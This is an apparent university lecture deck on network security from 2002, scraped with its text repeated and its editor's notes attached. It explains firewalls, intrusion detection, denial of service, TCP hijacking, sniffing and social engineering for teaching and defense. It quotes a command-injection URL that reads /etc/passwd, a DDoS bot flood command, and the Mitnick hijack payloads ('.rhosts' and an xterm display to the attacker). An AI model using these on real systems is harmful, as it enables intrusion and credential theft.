By:jyothish kumar
15-441 Networks Fall 2002 1
A Brief History of the World
15-441 Networks Fall 2002 2
Overview
What is security?
Why do we need security?
Who is vulnerable?
Common security attacks and countermeasures
Firewalls & Intrusion Detection Systems
Denial of Service Attacks
TCP Attacks
Packet Sniffing
Social Problems
15-441 Networks Fall 2002 3
What is “Security”
Dictionary.com says:
1. Freedom from risk or danger; safety.
2. Freedom from doubt, anxiety, or fear; confidence.
3. Something that gives or assures safety, as:
 1. A group or department of private guards: Call building
security if a visitor acts suspicious.
 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
15-441 Networks Fall 2002 4
What is “Security”
Dictionary.com says:
1. Freedom from risk or danger; safety.
2. Freedom from doubt, anxiety, or fear; confidence.
3. Something that gives or assures safety, as:
 1. A group or department of private guards: Call building
security if a visitor acts suspicious.
 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
15-441 Networks Fall 2002 5
What is “Security”
Dictionary.com says:
1. Freedom from risk or danger; safety.
2. Freedom from doubt, anxiety, or fear; confidence.
3. Something that gives or assures safety, as:
 1. A group or department of private guards: Call building
security if a visitor acts suspicious.
 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
15-441 Networks Fall 2002 6
What is “Security”
Dictionary.com says:
1. Freedom from risk or danger; safety.
2. Freedom from doubt, anxiety, or fear; confidence.
3. Something that gives or assures safety, as:
 1. A group or department of private guards: Call building
security if a visitor acts suspicious.
 2. Measures adopted by a government to prevent espionage,
sabotage, or attack.
 3. Measures adopted, as by a business or homeowner, to prevent
a crime such as burglary or assault: Security was lax at the firm's
smaller plant.
…etc.
15-441 Networks Fall 2002 7
Why do we need security?
Protect vital information while still allowing access to
those who need it
Trade secrets, medical records, etc.
Provide authentication and access control for
resources
Ex: AFS
Guarantee availability of resources
Ex: 5 9’s (99.999% reliability)
15-441 Networks Fall 2002 8
Who is vulnerable?
Financial institutions and banks
Internet service providers
Pharmaceutical companies
Government and defense agencies
Contractors to various government agencies
Multinational corporations
ANYONE ON THE NETWORK
15-441 Networks Fall 2002 9
Common security attacks and their
countermeasures
Finding a way into the network
Firewalls
Exploiting software bugs, buffer overflows
Intrusion Detection Systems
Denial of Service
Ingress filtering, IDS
TCP hijacking
IPSec
Packet sniffing
Encryption (SSH, SSL, HTTPS)
Social problems
Education
15-441 Networks Fall 2002 10
Firewalls
Basic problem – many network applications and
protocols have security problems that are fixed over
time
Difficult for users to keep up with changes and keep
host secure
Solution
 Administrators limit access to end hosts by using a firewall
 Firewall is kept up-to-date by administrators
15-441 Networks Fall 2002 11
Firewalls
A firewall is like a castle with a drawbridge
Only one point of access into the network
This can be good or bad
Can be hardware or software
Ex. Some routers come with firewall functionality
ipfw, ipchains, pf on Unix systems, Windows XP and
Mac OS X have built in firewalls
15-441 Networks Fall 2002 12
Firewalls
15-441 Networks Fall 2002 13
Intranet
DMZInternet
Firewall
Firewall
Web server, email
server, web proxy,
etc
Firewalls
Used to filter packets based on a combination of
features
These are called packet filtering firewalls
 There are other types too, but they will not be discussed
Ex. Drop packets with destination port of 23 (Telnet)
Can use any combination of IP/UDP/TCP header
information
man ipfw on unix47 for much more detail
But why don’t we just turn Telnet off?
15-441 Networks Fall 2002 14
Firewalls
Here is what a computer with a default Windows XP
install looks like:
 135/tcp open loc-srv
 139/tcp open netbios-ssn
 445/tcp open microsoft-ds
 1025/tcp open NFS-or-IIS
 3389/tcp open ms-term-serv
 5000/tcp open UPnP
Might need some of these services, or might not be
able to control all the machines on the network
15-441 Networks Fall 2002 15
Firewalls
What does a firewall rule look like?
Depends on the firewall used
Example: ipfw
/sbin/ipfw add deny tcp from cracker.evil.org to
wolf.tambov.su telnet
Other examples: WinXP & Mac OS X have built in
and third party firewalls
Different graphical user interfaces
Varying amounts of complexity and power
15-441 Networks Fall 2002 16
Intrusion Detection
Used to monitor for “suspicious activity” on a
network
Can protect against known software exploits, like buffer
overflows
Open Source IDS: Snort, www.snort.org
15-441 Networks Fall 2002 17
Intrusion Detection
Uses “intrusion signatures”
Well known patterns of behavior
 Ping sweeps, port scanning, web server indexing, OS
fingerprinting, DoS attempts, etc.
Example
IRIX vulnerability in webdist.cgi
Can make a rule to drop packets containing the line
 “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd”
However, IDS is only useful if contingency plans
are in place to curb attacks as they are occurring
15-441 Networks Fall 2002 18
Minor Detour…
Say we got the /etc/passwd file from the IRIX server
What can we do with it?
15-441 Networks Fall 2002 19
Dictionary Attack
We can run a dictionary attack on the passwords
The passwords in /etc/passwd are encrypted with the
crypt(3) function (one-way hash)
Can take a dictionary of words, crypt() them all, and
compare with the hashed passwords
This is why your passwords should be
meaningless random junk!
For example, “sdfo839f” is a good password
 That is not my andrew password
 Please don’t try it either
15-441 Networks Fall 2002 20
Denial of Service
Purpose: Make a network service unusable, usually by
overloading the server or network
Many different kinds of DoS attacks
SYN flooding
SMURF
Distributed attacks
Mini Case Study: Code-Red
15-441 Networks Fall 2002 21
Denial of Service
SYN flooding attack
Send SYN packets with bogus source address
Why?
Server responds with SYN ACK and keeps state
about TCP half-open connection
Eventually, server memory is exhausted with this state
Solution: use “SYN cookies”
In response to a SYN, create a special “cookie” for the
connection, and forget everything else
Then, can recreate the forgotten information when the
ACK comes in from a legitimate connection
15-441 Networks Fall 2002 22
Denial of Service
15-441 Networks Fall 2002 23
Denial of Service
SMURF
Source IP address of a broadcast ping is forged
Large number of machines respond back to victim,
overloading it
15-441 Networks Fall 2002 24
Denial of Service
15-441 Networks Fall 2002 25
Denial of Service
Distributed Denial of Service
Same techniques as regular DoS, but on a much larger
scale
Example: Sub7Server Trojan and IRC bots
 Infect a large number of machines with a “zombie” program
 Zombie program logs into an IRC channel and awaits commands
 Example:
 Bot command: !p4 207.71.92.193
 Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000
 Sends 10,000 64k packets to the host (655MB!)
 Read more at: http://grc.com/dos/grcdos.htm
15-441 Networks Fall 2002 26
Denial of Service
Mini Case Study – CodeRed
July 19, 2001: over 359,000 computers infected with
Code-Red in less than 14 hours
Used a recently known buffer exploit in Microsoft IIS
Damages estimated in excess of $2.6 billion
15-441 Networks Fall 2002 27
Denial of Service
Why is this under the Denial of Service category?
CodeRed launched a DDOS attack against
www1.whitehouse.gov from the 20th to the 28th of
every month!
Spent the rest of its time infecting other hosts
15-441 Networks Fall 2002 28
Denial of Service
How can we protect ourselves?
Ingress filtering
 If the source IP of a packet comes in on an interface which
does not have a route to that packet, then drop it
 RFC 2267 has more information about this
Stay on top of CERT advisories and the latest security
patches
 A fix for the IIS buffer overflow was released sixteen days
before CodeRed had been deployed!
15-441 Networks Fall 2002 29
TCP Attacks
Recall how IP works…
End hosts create IP packets and routers process them
purely based on destination address alone
Problem: End hosts may lie about other fields which
do not affect delivery
Source address – host may trick destination into
believing that the packet is from a trusted source
 Especially applications which use IP addresses as a simple
authentication method
 Solution – use better authentication methods
15-441 Networks Fall 2002 30
TCP Attacks
TCP connections have associated state
Starting sequence numbers, port numbers
Problem – what if an attacker learns these values?
Port numbers are sometimes well known to begin with
(ex. HTTP uses port 80)
Sequence numbers are sometimes chosen in very
predictable ways
15-441 Networks Fall 2002 31
TCP Attacks
If an attacker learns the associated TCP state for the
connection, then the connection can be hijacked!
Attacker can insert malicious data into the TCP
stream, and the recipient will believe it came from the
original source
Ex. Instead of downloading and running new program,
you download a virus and execute it
15-441 Networks Fall 2002 32
TCP Attacks
Say hello to Alice, Bob and Mr. Big Ears
15-441 Networks Fall 2002 33
TCP Attacks
Alice and Bob have an established TCP connection
15-441 Networks Fall 2002 34
TCP Attacks
Mr. Big Ears lies on the path between Alice and Bob
on the network
He can intercept all of their packets
15-441 Networks Fall 2002 35
TCP Attacks
First, Mr. Big Ears must drop all of Alice’s packets
since they must not be delivered to Bob (why?)
15-441 Networks Fall 2002 36
Packets
The Void
TCP Attacks
Then, Mr. Big Ears sends his malicious packet with
the next ISN (sniffed from the network)
15-441 Networks Fall 2002 37
ISN, SRC=Alice
TCP Attacks
What if Mr. Big Ears is unable to sniff the packets
between Alice and Bob?
Can just DoS Alice instead of dropping her packets
Can just send guesses of what the ISN is until it is
accepted
How do you know when the ISN is accepted?
Mitnick: payload is “add self to .rhosts”
Or, “xterm -display MrBigEars:0”
15-441 Networks Fall 2002 38
TCP Attacks
Why are these types of TCP attacks so dangerous?
15-441 Networks Fall 2002 39
Web server
Malicious user
Trusting web client
TCP Attacks
How do we prevent this?
IPSec
Provides source authentication, so Mr. Big Ears cannot
pretend to be Alice
Encrypts data before transport, so Mr. Big Ears cannot
talk to Bob without knowing what the session key is
15-441 Networks Fall 2002 40
Five Minute Break
For your enjoyment, here is something completely
unrelated to this lecture:
15-441 Networks Fall 2002 41
Packet Sniffing
Recall how Ethernet works …
When someone wants to send a packet to some else
…
They put the bits on the wire with the destination
MAC address …
And remember that other hosts are listening on the
wire to detect for collisions …
It couldn’t get any easier to figure out what data is
being transmitted over the network!
15-441 Networks Fall 2002 42
Packet Sniffing
This works for wireless too!
In fact, it works for any broadcast-based medium
15-441 Networks Fall 2002 43
Packet Sniffing
What kinds of data can we get?
Asked another way, what kind of information would
be most useful to a malicious user?
Answer: Anything in plain text
Passwords are the most popular
15-441 Networks Fall 2002 44
Packet Sniffing
How can we protect ourselves?
SSH, not Telnet
Many people at CMU still use Telnet and send their password in
the clear (use PuTTY instead!)
Now that I have told you this, please do not exploit this
information
Packet sniffing is, by the way, prohibited by Computing Services
HTTP over SSL
Especially when making purchases with credit cards!
SFTP, not FTP
Unless you really don’t care about the password or data
Can also use KerbFTP (download from MyAndrew)
IPSec
Provides network-layer confidentiality
15-441 Networks Fall 2002 45
Social Problems
People can be just as dangerous as unprotected
computer systems
People can be lied to, manipulated, bribed, threatened,
harmed, tortured, etc. to give up valuable information
Most humans will breakdown once they are at the
“harmed” stage, unless they have been specially trained
 Think government here…
15-441 Networks Fall 2002 46
Social Problems
Fun Example 1:
“Hi, I’m your AT&T rep, I’m stuck on a pole. I need you
to punch a bunch of buttons for me”
15-441 Networks Fall 2002 47
Social Problems
Fun Example 2:
Someone calls you in the middle of the night
 “Have you been calling Egypt for the last six hours?”
 “No”
 “Well, we have a call that’s actually active right now, it’s on
your calling card and it’s to Egypt and as a matter of fact,
you’ve got about $2000 worth of charges on your card and …
read off your AT&T card number and PIN and then I’ll get rid
of the charge for you”
15-441 Networks Fall 2002 48
Social Problems
Fun Example 3:
Who saw Office Space?
In the movie, the three disgruntled employees installed
a money-stealing worm onto the companies systems
They did this from inside the company, where they had
full access to the companies systems
 What security techniques can we use to prevent this type of
access?
15-441 Networks Fall 2002 49
Social Problems
There aren’t always solutions to all of these problems
Humans will continue to be tricked into giving out information
they shouldn’t
Educating them may help a little here, but, depending on how bad
you want the information, there are a lot of bad things you can do
to get it
So, the best that can be done is to implement a wide
variety of solutions and more closely monitor who has
access to what network resources and information
But, this solution is still not perfect
15-441 Networks Fall 2002 50
Conclusions
The Internet works only because we implicitly trust
one another
It is very easy to exploit this trust
The same holds true for software
It is important to stay on top of the latest CERT
security advisories to know how to patch any security
holes
15-441 Networks Fall 2002 51
Security related URLs
http://www.robertgraham.com
http://
online.securityfocus.com/infocu
15-441 Networks Fall 2002 52
15-441 Networks Fall 2002 53
Thank you

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Network security

  • 2. A Brief History of the World 15-441 Networks Fall 2002 2
  • 3. Overview What is security? Why do we need security? Who is vulnerable? Common security attacks and countermeasures Firewalls & Intrusion Detection Systems Denial of Service Attacks TCP Attacks Packet Sniffing Social Problems 15-441 Networks Fall 2002 3
  • 4. What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as:  1. A group or department of private guards: Call building security if a visitor acts suspicious.  2. Measures adopted by a government to prevent espionage, sabotage, or attack.  3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks Fall 2002 4
  • 5. What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as:  1. A group or department of private guards: Call building security if a visitor acts suspicious.  2. Measures adopted by a government to prevent espionage, sabotage, or attack.  3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks Fall 2002 5
  • 6. What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as:  1. A group or department of private guards: Call building security if a visitor acts suspicious.  2. Measures adopted by a government to prevent espionage, sabotage, or attack.  3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks Fall 2002 6
  • 7. What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as:  1. A group or department of private guards: Call building security if a visitor acts suspicious.  2. Measures adopted by a government to prevent espionage, sabotage, or attack.  3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc. 15-441 Networks Fall 2002 7
  • 8. Why do we need security? Protect vital information while still allowing access to those who need it Trade secrets, medical records, etc. Provide authentication and access control for resources Ex: AFS Guarantee availability of resources Ex: 5 9’s (99.999% reliability) 15-441 Networks Fall 2002 8
  • 9. Who is vulnerable? Financial institutions and banks Internet service providers Pharmaceutical companies Government and defense agencies Contractors to various government agencies Multinational corporations ANYONE ON THE NETWORK 15-441 Networks Fall 2002 9
  • 10. Common security attacks and their countermeasures Finding a way into the network Firewalls Exploiting software bugs, buffer overflows Intrusion Detection Systems Denial of Service Ingress filtering, IDS TCP hijacking IPSec Packet sniffing Encryption (SSH, SSL, HTTPS) Social problems Education 15-441 Networks Fall 2002 10
  • 11. Firewalls Basic problem – many network applications and protocols have security problems that are fixed over time Difficult for users to keep up with changes and keep host secure Solution  Administrators limit access to end hosts by using a firewall  Firewall is kept up-to-date by administrators 15-441 Networks Fall 2002 11
  • 12. Firewalls A firewall is like a castle with a drawbridge Only one point of access into the network This can be good or bad Can be hardware or software Ex. Some routers come with firewall functionality ipfw, ipchains, pf on Unix systems, Windows XP and Mac OS X have built in firewalls 15-441 Networks Fall 2002 12
  • 13. Firewalls 15-441 Networks Fall 2002 13 Intranet DMZInternet Firewall Firewall Web server, email server, web proxy, etc
  • 14. Firewalls Used to filter packets based on a combination of features These are called packet filtering firewalls  There are other types too, but they will not be discussed Ex. Drop packets with destination port of 23 (Telnet) Can use any combination of IP/UDP/TCP header information man ipfw on unix47 for much more detail But why don’t we just turn Telnet off? 15-441 Networks Fall 2002 14
  • 15. Firewalls Here is what a computer with a default Windows XP install looks like:  135/tcp open loc-srv  139/tcp open netbios-ssn  445/tcp open microsoft-ds  1025/tcp open NFS-or-IIS  3389/tcp open ms-term-serv  5000/tcp open UPnP Might need some of these services, or might not be able to control all the machines on the network 15-441 Networks Fall 2002 15
  • 16. Firewalls What does a firewall rule look like? Depends on the firewall used Example: ipfw /sbin/ipfw add deny tcp from cracker.evil.org to wolf.tambov.su telnet Other examples: WinXP & Mac OS X have built in and third party firewalls Different graphical user interfaces Varying amounts of complexity and power 15-441 Networks Fall 2002 16
  • 17. Intrusion Detection Used to monitor for “suspicious activity” on a network Can protect against known software exploits, like buffer overflows Open Source IDS: Snort, www.snort.org 15-441 Networks Fall 2002 17
  • 18. Intrusion Detection Uses “intrusion signatures” Well known patterns of behavior  Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc. Example IRIX vulnerability in webdist.cgi Can make a rule to drop packets containing the line  “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd” However, IDS is only useful if contingency plans are in place to curb attacks as they are occurring 15-441 Networks Fall 2002 18
  • 19. Minor Detour… Say we got the /etc/passwd file from the IRIX server What can we do with it? 15-441 Networks Fall 2002 19
  • 20. Dictionary Attack We can run a dictionary attack on the passwords The passwords in /etc/passwd are encrypted with the crypt(3) function (one-way hash) Can take a dictionary of words, crypt() them all, and compare with the hashed passwords This is why your passwords should be meaningless random junk! For example, “sdfo839f” is a good password  That is not my andrew password  Please don’t try it either 15-441 Networks Fall 2002 20
  • 21. Denial of Service Purpose: Make a network service unusable, usually by overloading the server or network Many different kinds of DoS attacks SYN flooding SMURF Distributed attacks Mini Case Study: Code-Red 15-441 Networks Fall 2002 21
  • 22. Denial of Service SYN flooding attack Send SYN packets with bogus source address Why? Server responds with SYN ACK and keeps state about TCP half-open connection Eventually, server memory is exhausted with this state Solution: use “SYN cookies” In response to a SYN, create a special “cookie” for the connection, and forget everything else Then, can recreate the forgotten information when the ACK comes in from a legitimate connection 15-441 Networks Fall 2002 22
  • 23. Denial of Service 15-441 Networks Fall 2002 23
  • 24. Denial of Service SMURF Source IP address of a broadcast ping is forged Large number of machines respond back to victim, overloading it 15-441 Networks Fall 2002 24
  • 25. Denial of Service 15-441 Networks Fall 2002 25
  • 26. Denial of Service Distributed Denial of Service Same techniques as regular DoS, but on a much larger scale Example: Sub7Server Trojan and IRC bots  Infect a large number of machines with a “zombie” program  Zombie program logs into an IRC channel and awaits commands  Example:  Bot command: !p4 207.71.92.193  Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000  Sends 10,000 64k packets to the host (655MB!)  Read more at: http://grc.com/dos/grcdos.htm 15-441 Networks Fall 2002 26
  • 27. Denial of Service Mini Case Study – CodeRed July 19, 2001: over 359,000 computers infected with Code-Red in less than 14 hours Used a recently known buffer exploit in Microsoft IIS Damages estimated in excess of $2.6 billion 15-441 Networks Fall 2002 27
  • 28. Denial of Service Why is this under the Denial of Service category? CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month! Spent the rest of its time infecting other hosts 15-441 Networks Fall 2002 28
  • 29. Denial of Service How can we protect ourselves? Ingress filtering  If the source IP of a packet comes in on an interface which does not have a route to that packet, then drop it  RFC 2267 has more information about this Stay on top of CERT advisories and the latest security patches  A fix for the IIS buffer overflow was released sixteen days before CodeRed had been deployed! 15-441 Networks Fall 2002 29
  • 30. TCP Attacks Recall how IP works… End hosts create IP packets and routers process them purely based on destination address alone Problem: End hosts may lie about other fields which do not affect delivery Source address – host may trick destination into believing that the packet is from a trusted source  Especially applications which use IP addresses as a simple authentication method  Solution – use better authentication methods 15-441 Networks Fall 2002 30
  • 31. TCP Attacks TCP connections have associated state Starting sequence numbers, port numbers Problem – what if an attacker learns these values? Port numbers are sometimes well known to begin with (ex. HTTP uses port 80) Sequence numbers are sometimes chosen in very predictable ways 15-441 Networks Fall 2002 31
  • 32. TCP Attacks If an attacker learns the associated TCP state for the connection, then the connection can be hijacked! Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source Ex. Instead of downloading and running new program, you download a virus and execute it 15-441 Networks Fall 2002 32
  • 33. TCP Attacks Say hello to Alice, Bob and Mr. Big Ears 15-441 Networks Fall 2002 33
  • 34. TCP Attacks Alice and Bob have an established TCP connection 15-441 Networks Fall 2002 34
  • 35. TCP Attacks Mr. Big Ears lies on the path between Alice and Bob on the network He can intercept all of their packets 15-441 Networks Fall 2002 35
  • 36. TCP Attacks First, Mr. Big Ears must drop all of Alice’s packets since they must not be delivered to Bob (why?) 15-441 Networks Fall 2002 36 Packets The Void
  • 37. TCP Attacks Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network) 15-441 Networks Fall 2002 37 ISN, SRC=Alice
  • 38. TCP Attacks What if Mr. Big Ears is unable to sniff the packets between Alice and Bob? Can just DoS Alice instead of dropping her packets Can just send guesses of what the ISN is until it is accepted How do you know when the ISN is accepted? Mitnick: payload is “add self to .rhosts” Or, “xterm -display MrBigEars:0” 15-441 Networks Fall 2002 38
  • 39. TCP Attacks Why are these types of TCP attacks so dangerous? 15-441 Networks Fall 2002 39 Web server Malicious user Trusting web client
  • 40. TCP Attacks How do we prevent this? IPSec Provides source authentication, so Mr. Big Ears cannot pretend to be Alice Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is 15-441 Networks Fall 2002 40
  • 41. Five Minute Break For your enjoyment, here is something completely unrelated to this lecture: 15-441 Networks Fall 2002 41
  • 42. Packet Sniffing Recall how Ethernet works … When someone wants to send a packet to some else … They put the bits on the wire with the destination MAC address … And remember that other hosts are listening on the wire to detect for collisions … It couldn’t get any easier to figure out what data is being transmitted over the network! 15-441 Networks Fall 2002 42
  • 43. Packet Sniffing This works for wireless too! In fact, it works for any broadcast-based medium 15-441 Networks Fall 2002 43
  • 44. Packet Sniffing What kinds of data can we get? Asked another way, what kind of information would be most useful to a malicious user? Answer: Anything in plain text Passwords are the most popular 15-441 Networks Fall 2002 44
  • 45. Packet Sniffing How can we protect ourselves? SSH, not Telnet Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead!) Now that I have told you this, please do not exploit this information Packet sniffing is, by the way, prohibited by Computing Services HTTP over SSL Especially when making purchases with credit cards! SFTP, not FTP Unless you really don’t care about the password or data Can also use KerbFTP (download from MyAndrew) IPSec Provides network-layer confidentiality 15-441 Networks Fall 2002 45
  • 46. Social Problems People can be just as dangerous as unprotected computer systems People can be lied to, manipulated, bribed, threatened, harmed, tortured, etc. to give up valuable information Most humans will breakdown once they are at the “harmed” stage, unless they have been specially trained  Think government here… 15-441 Networks Fall 2002 46
  • 47. Social Problems Fun Example 1: “Hi, I’m your AT&T rep, I’m stuck on a pole. I need you to punch a bunch of buttons for me” 15-441 Networks Fall 2002 47
  • 48. Social Problems Fun Example 2: Someone calls you in the middle of the night  “Have you been calling Egypt for the last six hours?”  “No”  “Well, we have a call that’s actually active right now, it’s on your calling card and it’s to Egypt and as a matter of fact, you’ve got about $2000 worth of charges on your card and … read off your AT&T card number and PIN and then I’ll get rid of the charge for you” 15-441 Networks Fall 2002 48
  • 49. Social Problems Fun Example 3: Who saw Office Space? In the movie, the three disgruntled employees installed a money-stealing worm onto the companies systems They did this from inside the company, where they had full access to the companies systems  What security techniques can we use to prevent this type of access? 15-441 Networks Fall 2002 49
  • 50. Social Problems There aren’t always solutions to all of these problems Humans will continue to be tricked into giving out information they shouldn’t Educating them may help a little here, but, depending on how bad you want the information, there are a lot of bad things you can do to get it So, the best that can be done is to implement a wide variety of solutions and more closely monitor who has access to what network resources and information But, this solution is still not perfect 15-441 Networks Fall 2002 50
  • 51. Conclusions The Internet works only because we implicitly trust one another It is very easy to exploit this trust The same holds true for software It is important to stay on top of the latest CERT security advisories to know how to patch any security holes 15-441 Networks Fall 2002 51
  • 53. 15-441 Networks Fall 2002 53 Thank you

Editor's Notes

  • #6: In other words, having systems in place beforehand which prevent attacks before they begin.
  • #7: Related to the first definition, having peace of mind knowing that your systems are safe and protected.
  • #8: This includes contingency plans for what to do when attackers strike, keeping up with the latest CERT advisories, hiring network security consultants to find insecurities in your network, etc.
  • #13: Why good? Because it lets you filter what comes in and what goes out. Why bad? If that point goes down, you are cut off from everyone else. Also, may have lots of congestion at that one point.
  • #23: Forge source IP so that the victim can’t figure out who you are.
  • #37: Alice can send a RESET
  • #40: Malicious user can send a virus to the trusting web client, instead of the program they thought they were downloading.
  • #50: Security techniques: IDS can be configured to look for internal inconsistencies in traffic patterns Firewalls can be configured to block off one part of a corporate network from another part to further restrict access Can also use hardware based identification tokens with strong encryption to identify who is doing what